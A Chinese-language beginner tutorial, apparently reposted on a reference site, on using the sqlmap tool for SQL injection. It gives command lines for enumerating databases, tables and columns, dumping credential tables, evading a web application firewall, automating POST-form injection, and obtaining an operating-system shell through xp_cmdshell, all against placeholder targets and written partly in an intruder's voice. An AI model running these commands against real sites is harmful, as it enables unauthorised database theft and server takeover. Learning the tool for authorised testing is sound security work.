sqlmap 入门级使用(简易教程)
sqlmap 入门级使用(简易教程)
发布时间:2017-01-05 来源:查字典编辑
摘要:虽然我用过mssql和oracle,但表示只是用过,不是很熟,所以本文大多数都在说MySQL数据库。一、数据库数据库管理系统->数据库(可能...

虽然我用过mssql和oracle,但表示只是用过,不是很熟,所以本文大多数都在说MySQL数据库。

一、数据库

数据库管理系统 -> 数据库(可能存在多个) -> 表(一般一个数据库中都存储多个表) -> 字段 (一般一个表中都有多个字段)

也就是说:一般都是一对多的关系,这里就不深究了,我们先来看看表(tables)的结构。

sqlmap 入门级使用(简易教程)1

这是从phpmyadmin中截取的一张图片,看起来是不是有点像excel 表格呢?

数据库中一般都会存储很多数据,包括我们的用户名和密码,所以很多黑客就喜欢搞数据库咯。

二、sqlmap 枚举数据库

首先进入终端,如果是Linux,就是terminal,如果是Windows,就是cmd。

当然,进行sql注入之前,你先要找到注入点,怎么找?google什么的,貌似还有些工具,我这里只是为了记录sqlmap的使用过程,不做深入。

1、枚举数据库

sqlmap 入门级使用(简易教程)2

参数-u 表示URL,也就是注入点了,--dbs表示枚举数据库,说枚举太官方了,我们不如说:请sqlmap列出所有的数据库名。

2、枚举表 tables

sqlmap 入门级使用(简易教程)3

使用-D 参数,把刚才枚举出来的数据库写到后面。--tables表示枚举这个数据库下面的表。

结果为:

sqlmap 入门级使用(简易教程)4

那么我们就可以猜测那个数据库下面是用户名和密码了,也可以把数据库dump到我们的电脑上。进行分析。

3、枚举字段

sqlmap 入门级使用(简易教程)5

意思就是说,枚举这个数据库下面的这个表,下面有哪些字段。

4、数据dump

sqlmap 入门级使用(简易教程)6

这个命令表示dump当前这个数据库,下面的这个表中的所有数据。

sqlmap 入门级使用(简易教程)7

如果这个表中刚好是管理员的用户名和密码的话,就可以尝试进行后台扫描和登录了。

总结:注入漏洞是一个经典的漏洞,我这里只是简单描述sqlmap的使用方法,关于高级的方式请参考官方说明。

sql注入虽然是个老是的注入攻击方式,当目前已经出现其它类型的变形注入,还是需要web开发者继续关注安全。

sqlmap简易教程–帮助文档个人使用经验解析

最近看到很多大牛发sqlmap的视频教程。

然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。

各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。

sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh

所以第一件事当然是滚去看帮助文档。

sqlmap -hh

我操。。。。。。。这么多英文,多少只草泥马在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的

注入分法不同,种类不同,来个简单的分类:

1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”

2.post型:sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”

3.cookie类注入:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2

好,区分完毕再来后续的

需要数据库好:–dbs

得到数据库名称xxx,需要表:-D xxx –tables

得到表名xxxx,需要段:-D xxx -T xxxx –columns

得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump

那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。

–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗

–dump 那自然就是字面意思,类似于导出数据的行为

其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf–tamper=”"

注入被识别出来是工具,断开咋办–user-agent=”"

再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子

好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:

http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入

sqlmap -u “http://www.xxx.com/login.asp” –forms

很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs

于是我用上面的命令看看数据库

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba

顺便看看当前用户是不是dba

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a

用了上面的命令 -a能得到什么呢:自己去看帮助吧。

帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。

后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables

同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell

以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜

与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all

然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令–batch可以自动选择sqlmap默认选项

于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。

总结下来,帮助文档还是很重要的,多看看,总会有些收获:

为了避免各位看英文看到吐,大概总结下:

Target:字面意思,目标,那么就是确定目标的

Request:字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等

Optimization:字面意思,调节性能,等等

Injection:字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等

Detection:

基本就是用在确认注入范围,寻找注入点区域,这些

Technique:

基本用在确定注入手段,以及攻击方式

Fingerprint:

基本用在指纹识别,用的很少

Enumeration:

枚举信息,主要用在注入中,很重要,很常用

Brute force:

用来爆破,其实主要是枚举tables columns用的

User-defined function injection:

现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点

File system access

主要是文件读取,文件写入

Operating system access

主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击

windowsregistry access

基本就是注册表操作了

General

字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数

Miscellaneous

目测高端应用,还没怎么用过,求大神指教

如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。

字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安全相关学习
热门安全相关学习
软件教程子分类